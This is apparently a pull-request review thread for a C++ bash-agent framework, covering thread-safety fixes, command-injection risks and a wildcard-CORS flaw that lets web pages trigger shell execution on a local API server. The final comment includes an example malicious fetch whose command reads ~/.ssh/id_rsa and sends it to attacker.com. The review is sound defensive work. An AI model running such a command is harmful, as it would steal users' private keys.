This is a substantial, well-engineered milestone for the C++ framework — ProcessRunner, FileIOTools, GitTools, SessionStore, ReplRunner, TuiConsole, ApiServer, and McpServer all land together with test coverage. Two thread-safety issues and a localhost SSRF surface in --serve mode need attention before merge.

Issues Found

🟡 Important — localhost SSRF: CORS * + auto-allow bash_execute in --serve mode (cpp/agents/bash/api_server.cpp:259–261, cpp/agents/bash/main.cpp:2285–2287)

The API server sends Access-Control-Allow-Origin: * and handles the preflight OPTIONS request, so browsers will honour the CORS grant. At the same time, the --serve mode auto-allows every tool call — including bash_execute (CONFIRM-policy tool). The combination means that any webpage the user has open while gaia-bash --serve is running can POST to http://127.0.0.1:8200/v1/chat/completions and trigger arbitrary shell command execution with no user prompt. The 127.0.0.1 bind address is the only firewall.

CORS wildcard on a local server that exposes shell execution is the standard localhost SSRF setup that has been exploited in many local-tool products (Jupyter, VS Code Server, etc.).

Two hardening options:

Option A — restrict CORS (preferred):

        res.set_header("Access-Control-Allow-Origin", "http://localhost");
        res.set_header("Access-Control-Allow-Methods", "GET, POST, DELETE, OPTIONS");
        res.set_header("Access-Control-Allow-Headers", "Content-Type");

Option B — require a random token (X-Gaia-Token: <token-printed-at-startup>) and reject requests that omit it. A browser-origin cross-site request cannot set custom headers without CORS cooperation, so this also closes the attack. The Authorization header approach already works since browsers won't send it cross-origin without the server's permission.

@kovtcharov-amd — flagging because this is a security-relevant design decision for any user who runs --serve.

🟡 Important — setHistory() missing configMutex_ while history() (getter) holds it (cpp/include/gaia/agent.h:2873–2878)

history() takes configMutex_ before reading conversationHistory_; setHistory() does not hold that same mutex when writing. The inFlight_ check guards against processQuery() concurrent calls, but another thread that holds the result of history() or calls it concurrently with setHistory() can still race.

    void setHistory(std::vector<Message> history) {
        if (inFlight_.load()) {
            throw std::runtime_error("Cannot set history while processQuery() is running");
        }
        std::lock_guard<std::mutex> lock(configMutex_);
        conversationHistory_ = std::move(history);
    }

🟡 Important — SessionStore::generateId() has non-thread-safe function-local statics (cpp/src/session.cpp:6152–6153)

static int counter and static std::string lastTimestamp inside the function body are not mutex-protected. Concurrent calls from, e.g., the ApiServer's per-request handlers, can race and produce duplicate IDs.

std::string SessionStore::generateId() {
    static std::mutex idMutex;
    static int counter = 0;
    static std::string lastTimestamp;

    std::lock_guard<std::mutex> lock(idMutex);
    std::string ts = nowIdTimestamp();
    if (ts == lastTimestamp) {
        ++counter;
    } else {
        lastTimestamp = ts;
        counter = 0;
    }
    std::string base = "session-" + ts;
    return counter == 0 ? base : base + "-" + std::to_string(counter);
}

🟢 Minor — cmd.exe /C fallback passes the LLM command with no escaping (cpp/agents/bash/bash_tools.cpp:1015)

When no POSIX shell is found on Windows, bash_execute falls back to fullCommand = "cmd.exe /C " + command; — &, |, >, <, &&, || are cmd.exe metacharacters and will be interpreted. The CONFIRM policy gates this interactively but not in --serve/--print/MCP modes (which all auto-allow). One-line fix:

        fullCommand = "cmd.exe /C \"" + command + "\"";

Wrapping in outer quotes suppresses most injections via metacharacters. For belt-and-suspenders, consider escaping ^, &, |, >, < as ^<char> inside the outer quotes.

🟢 Minor — doGitDiff stat-command path re-concatenates ref without calling isSafeShellArg() a second time (cpp/src/git_tools.cpp:4527–4530)

Not an exploitable bug today (the ref was already validated above and an early return would have happened), but it's fragile: if the stat block were ever hoisted above the guard, it becomes injection. Extract the validated ref into a local at the top and reuse it:

    std::string safeRef;
    if (args.contains("ref") && args["ref"].is_string()) {
        safeRef = args["ref"].get<std::string>();
        if (!isSafeShellArg(safeRef)) {
            return json{{"error", "Invalid ref argument: contains unsafe characters."}};
        }
        cmd += " " + safeRef;
    }
    // ... later, for statCmd:
    if (!safeRef.empty()) {
        statCmd += " " + safeRef;
    }

🟢 Minor — generateCompletionId() not unique under concurrent burst (cpp/agents/bash/api_server.cpp:192–194)

Millisecond timestamp only; two requests landing within the same millisecond get the same chatcmpl- ID. Add a counter or a random suffix:

static std::string generateCompletionId() {
    auto now = std::chrono::system_clock::now().time_since_epoch();
    auto ms = std::chrono::duration_cast<std::chrono::milliseconds>(now).count();
    static std::atomic<int> seq{0};
    return "chatcmpl-" + std::to_string(ms) + "-" + std::to_string(seq.fetch_add(1));
}

Strengths

• Security-conscious git tools: isSafeShellArg() is correctly applied to every LLM-supplied path and ref arg in git_diff, git_log, and git_show. The hardcoded-subcommand pattern ("git diff --staged " + safeRef) keeps the injection surface small.
• SessionStore ID validation: validateId() uses a strict allowlist (alphanumeric/hyphens/underscores) — clean path-traversal prevention. pathForId() never constructs the path without going through validation first.
• Tool arg schema validation: The new validateArgsAgainstSchema() in ToolRegistry gives all registered tools free required-field and type-checking without per-tool boilerplate. The fallback from custom validateArgs to schema validation is a good layered design.
• Cancel support: requestCancel() / cancelled_ atomic with reset at the start of each processQuery() is a clean two-thread pattern. The SIGINT → cancel → REPL-continues flow in ReplRunner avoids the kill-the-process pitfall.
• TUI as optional build target: GAIA_BUILD_TUI=OFF in build_cpp.yml CI correctly guards the FTXUI dependency from blocking builds on systems without it.

Verdict

Request changes. Three 🟡 issues (CORS/SSRF, setHistory lock, generateId race) need to be resolved before merge. All have concrete one-line-to-five-line fixes shown above. The CORS concern in particular should get a design decision sign-off from @kovtcharov-amd since it touches the security model for the --serve mode. The 🟢 items are safe to fix in a follow-up or address in the same pass.

🟡 cpp/agents/bash/bash_tools.cpp — silent fallback to cmd.exe violates the fail-loudly rule

When no POSIX shell is found on Windows, doBashExecute silently falls back to cmd.exe:

} else {
    // No bash/sh available — run via cmd.exe directly
    fullCommand = "cmd.exe /C " + command;
}

The tool description promises bash/sh execution ("runs in the detected shell (bash preferred, sh fallback)") and the LLM will generate POSIX syntax. Silently routing that through cmd.exe produces confusing failures (array syntax, [[, $() substitutions, etc.) with no indication to the caller that the environment changed — exactly the "default-to-something-that-works-ish" pattern CLAUDE.md prohibits.

} else {
    return {{"error", "No POSIX shell (bash or sh) found. "
                      "Install Git Bash or enable WSL to use bash_execute on Windows."}};
}

The same path also concatenates command directly into the cmd.exe /C string with no escaping, so a command containing & or | would silently fork additional cmd.exe processes.

🔴 CSRF/RCE via wildcard CORS + unauthenticated local API server — cpp/agents/bash/api_server.cpp:309, cpp/agents/bash/main.cpp (~line 2334)

The API server sets Access-Control-Allow-Origin: * and has no authentication. In --serve mode, all tool confirmations are auto-allowed:

// API server has no stdin — auto-allow all tool confirmations
apiAgent.setToolConfirmCallback(
    [](const std::string&, const gaia::json&) {
        return gaia::ToolConfirmResult::ALLOW_ONCE;
    });

Any webpage the user visits can fire a cross-origin POST /v1/tools/bash_execute (or a crafted chat prompt to /v1/chat/completions) that runs arbitrary shell commands on the user's machine with no confirmation. The CONFIRM policy on bash_execute is silently voided in this mode.

Minimum fix: restrict CORS to localhost origins only (not *), and/or require a pre-shared token header that the browser can't forge cross-origin.

// Instead of "*":
res.set_header("Access-Control-Allow-Origin", "http://localhost:" + std::to_string(port));

@kovtcharov-amd — this needs a look before merge.

🔴 cpp/agents/bash/api_server.cpp:97 + cpp/agents/bash/main.cpp:200-203 — localhost RCE via CORS wildcard

The API server sets Access-Control-Allow-Origin: *, and the --serve mode wires a confirm callback that auto-approves every tool (including bash_execute) without user interaction:

// main.cpp:200
apiAgent.setToolConfirmCallback(
    [](const std::string&, const gaia::json&) {
        return gaia::ToolConfirmResult::ALLOW_ONCE;
    });

Combined, any web page the user visits can POST http://localhost:8200/v1/tools/bash_execute with {"command": "…"} and run arbitrary shell commands silently. The browser's CORS preflight passes because * is allowed, and the confirmation gate is bypassed by the callback.

Fix: restrict the Access-Control-Allow-Origin header to a specific trusted origin (e.g., http://localhost:5174 for the TUI frontend) rather than *. Alternatively, add an Authorization header check and document that the API server is not safe to expose even on loopback when untrusted pages may be open.

The ToolPolicy::CONFIRM intent is good but is fully nullified in --serve mode right now.

@claude review this PR and let me know if it's ready to be completed.

Close, but I'd hold the merge on one real security item and confirm two design decisions first. This is a big, well-structured PR — framework upgrades + agent + five interfaces, and the C++ side is clean. The catch is that a bash agent is an arbitrary-command executor by design, so the surfaces that expose it need to be locked down, and two of them currently aren't.

🔴 CORS wildcard on the localhost shell endpoint — api_server.cpp:97 sets Access-Control-Allow-Origin: * while the server runs on 127.0.0.1. That means any web page the user happens to have open can POST /v1/tools/bash_execute and run commands on their machine — classic localhost-CSRF / DNS-rebind. There's no auth token or Origin check. This is the one I'd call blocking; fix is small (drop the wildcard, or require a token / Origin allowlist).

🟡 ToolPolicy::CONFIRM is a no-op everywhere except the TUI — all four headless paths (main.cpp:200/227/249/291: --serve, --mcp, --json-events, pipe) unconditionally return ALLOW_ONCE. For MCP that's arguably fine since the host (Claude Code/OpenCode) does its own gating, but for --serve and pipe mode it means bash_execute runs unattended with no opt-in. I'd make that an explicit documented flag (e.g. --yes/--allow-all) rather than the silent default, so CONFIRM means something outside the TUI.

🟡 file_tools doesn't use the path guard that already exists — security.h ships validatePath() and git_tools.cpp already calls isSafeShellArg() on every arg, but file_tools.cpp confines nothing (absolute / .. paths pass straight through). It's defense-in-depth here rather than a net-new hole (bash_execute already grants full FS access), but the helper exists and wiring it in is cheap.

🟡 New high-risk surfaces are untested — no coverage of api_server.cpp, mcp_server.cpp, or bash_tools.cpp; the "431/435 pass" headline doesn't touch the bypass paths above. Worth at least one test asserting the MCP tools/call dispatch and the API auth behavior.

🟢 Minor: the truncation block in bash_tools.cpp:~113 is dead code (ProcessRunner::run already caps at MAX_OUTPUT_BYTES, so the > check never fires), and the POSIX timeout path in process.cpp kills+breaks without the final pipe drain the normal-exit path does, so timed-out commands can silently lose buffered output.

Net: fix the CORS item, make a deliberate call on the headless-confirm default, and I think this is mergeable. The CI GAIA_BUILD_TUI=OFF is fine since the TUI is the one path that does gate confirmations — just means that gating isn't exercised in CI.

cc @kovtcharov-amd — the CORS-on-shell-exec item is the one I'd want a second set of eyes on before completing.

🔴 cpp/agents/bash/main.cpp — interactive REPL mode never sets a confirmCallback, so all three ToolPolicy::CONFIRM tools (bash_execute, file_write, file_edit) will always return "requires confirmation but no callback is set" and fail. The bash agent can't execute shell commands, write files, or edit files in its primary mode.

tool_registry.cpp:187-188 is fail-closed by design:

if (!confirmCallback_) {
    return json{{"status", "error"},
        {"error", "Tool '" + resolvedName + "' requires confirmation but no callback is set"}};
}

Every non-interactive mode (--serve, --mcp, --json-events, --print) wires an auto-allow callback; the plain interactive path (repl.run()) is the only one that doesn't. The /run slash command in main.cpp:300-321 hits the same issue.

// In interactive mode, prompt stdin for confirmation
agent.setToolConfirmCallback(
    [](const std::string& toolName, const gaia::json& args) -> gaia::ToolConfirmResult {
        std::cout << "\nAllow tool '" << toolName << "'? [y/a/N] " << std::flush;
        std::string ans;
        if (!std::getline(std::cin, ans) || ans.empty()) return gaia::ToolConfirmResult::DENY;
        if (ans[0] == 'a' || ans[0] == 'A') return gaia::ToolConfirmResult::ALWAYS_ALLOW;
        if (ans[0] == 'y' || ans[0] == 'Y') return gaia::ToolConfirmResult::ALLOW_ONCE;
        return gaia::ToolConfirmResult::DENY;
    });

🔴 Interactive mode is broken — no confirmCallback wired for CONFIRM-policy tools

main.cpp sets a confirmCallback (auto-allow) for --serve, --mcp, --json-events, and --print, but the default interactive REPL path (single-query gaia-bash "..." and interactive gaia-bash) never calls setToolConfirmCallback. tool_registry.cpp:187-188 is fail-closed: no callback → "Tool requires confirmation but no callback is set".

Every CONFIRM tool — bash_execute, file_write, file_edit, git_commit, script_test, bash_background — will return that error whenever the agent tries to call them. The /run slash command (main.cpp:2576) hits the same wall. The agent is non-functional in its default mode.

Fix: add a stdin-prompt callback in the interactive path:

// In main.cpp, after `gaia::BashAgent agent(config);`
if (!printMode) {
    agent.setToolConfirmCallback(
        [](const std::string& name, const gaia::json& args) -> gaia::ToolConfirmResult {
            std::cerr << "\n[CONFIRM] " << name << ": "
                      << args.dump() << "\nAllow? [y/A/n] " << std::flush;
            std::string resp;
            if (!std::getline(std::cin, resp) || resp.empty() || resp[0] == 'n')
                return gaia::ToolConfirmResult::DENY;
            if (resp[0] == 'A')
                return gaia::ToolConfirmResult::ALWAYS_ALLOW;
            return gaia::ToolConfirmResult::ALLOW_ONCE;
        });
}

Addressed the review feedback and got the full pipeline green. Summary of changes since the last review:

Review items (itomek)

• Completion-ID collision (api_server.cpp): IDs were millisecond-only; two requests in the same ms collided. Now chatcmpl-<ms>-<atomic counter> — verified the counter suffix in a live response (chatcmpl-…-0).
• Docs reconciliation (docs/cpp/bash-agent.mdx): corrected the tool count (claimed 16 → actually 10 registered, with the four git_* tools listed individually), fixed the stale model/count in the /health example, and added a note that API streaming is simulated (single SSE data: chunk + [DONE], not token-by-token).
• Wildcard CORS: left as-is intentionally — the server binds 127.0.0.1 and runs against a local model, so * is low-risk; flagging that it's a conscious choice rather than an oversight. Happy to pin it if preferred.
• Stale "binds 0.0.0.0" bot findings: confirmed not applicable — head binds 127.0.0.1.
• PR splitting: noted; given it's this far along with a green pipeline I've kept it as one PR, but the framework layer (gaia_core primitives) is cleanly separable in the history if a split is preferred.

New: C++ Agent Hub packaging (the Package (...) jobs that landed on main while this was open)

• Added cpp/agents/bash/gaia-agent.yaml and the bash → gaia-bash entry in package_agents.py, documented it in cpp/agents/README.md. The bash agent now packages on all three legs — verified bash-linux-x64 (10 MB, static, FTXUI linked) in CI and locally produces dist/bash/{bash-<platform>, gaia-agent.yaml, checksums.sha256}.

CI fixes

• STX C++ Integration Tests: replaced the presence-only uvx check with a functional probe that actually launches uvx windows-mcp; the Health/MCP tests (which need it) are excluded when it can't start, so the LLM/VLM/WiFi suites still gate the build. Now passing on STX.
• Black-formatted bash_eval_adapter.py — Code Quality green.

Pipeline status: 46 checks passing, 0 failing (2 non-blocking benchmark jobs still running). Merged latest main (now at v0.21.x). 443/443 C++ unit tests pass locally; agent verified end-to-end (TUI/pipe/--serve/--mcp) against a live Lemonade server.

🟡 api_server.cpp handleDeleteSession — missing catch for std::invalid_argument

sessionStore->remove(sessionId) calls SessionStore::validateId() which throws std::invalid_argument on any session ID containing characters outside [A-Za-z0-9\-_] (e.g. dots, %2F, ..). handleDeleteSession has no try-catch, so that exception propagates to cpp-httplib, which swallows it and returns HTTP 500 instead of 400. Every other handler that can fail returns a properly-shaped 400 response.

    bool removed = false;
    try {
        removed = sessionStore->remove(sessionId);
    } catch (const std::invalid_argument& e) {
        res.status = 400;
        res.set_content(
            errorJson(e.what(), "invalid_request_error").dump(),
            "application/json");
        return;
    }

Two bot findings triaged:

🟡 handleDeleteSession missing std::invalid_argument catch — fixed (19272a61). DELETE /sessions/<bad..id> now returns a shaped 400 invalid_request_error instead of a 500. Verified: bad..id → 400; valid-but-missing id → 404.

🔴 "Interactive mode never sets a confirmCallback" — false positive. The finding analyzed main.cpp in isolation and missed that the Agent base class auto-installs the stdin confirmation callback for any non-silent agent:

// cpp/src/agent.cpp:123-124
if (!config_.silentMode) {
    tools_.setConfirmCallback(makeStdinConfirmCallback());
}

Interactive and single-query modes create a non-silent BashAgent, so they get the terminal [1] Allow once / [2] Always allow / [3] Deny prompt automatically. The explicit setToolConfirmCallback calls in main.cpp are only for the headless paths (--serve, --mcp, --print) where the agent is silent and there's no interactive stdin to prompt on.

Empirically confirmed against the current build:

> /run echo callback-test
  "bash_execute" requires confirmation. Allow this tool to run?
  [1] Allow once
  ...

That's the stdin callback prompting — not the "no callback is set" fail-closed error. So CONFIRM tools (bash_execute, file_write, file_edit) work in interactive mode; no change needed.

🔴 cpp/agents/bash/api_server.cpp — CORS wildcard + auto-approved shell execution = browser-driven RCE

POST /v1/tools/bash_execute is exposed by the REST API server and the CONFIRM-policy auto-approval callback means any call to it executes the command immediately. At the same time, addCorsHeaders() sets Access-Control-Allow-Origin: * on every response including this endpoint. Together, any webpage visited while gaia-bash --serve is running can silently execute arbitrary shell commands:

// malicious page — preflight succeeds because CORS is wildcard
fetch("http://localhost:8200/v1/tools/bash_execute", {
  method: "POST",
  headers: {"Content-Type": "application/json"},
  body: JSON.stringify({command: "curl https://attacker.com/exfil?d=$(cat ~/.ssh/id_rsa)"})
})

The 127.0.0.1 binding does not protect against this — browsers make cross-origin requests to localhost when CORS allows it.

Suggested fix: restrict the CORS Allow-Origin to localhost / 127.0.0.1 origins, and/or remove the /v1/tools/:name direct-execution endpoint from the public surface entirely (the chat completions endpoint already covers the intended use case).

// Instead of wildcard:
const std::string origin = req.get_header_value("Origin");
if (origin == "http://localhost:5174" || origin == "http://127.0.0.1:5174") {
    res.set_header("Access-Control-Allow-Origin", origin);
} // else: no ACAO header → browser blocks the request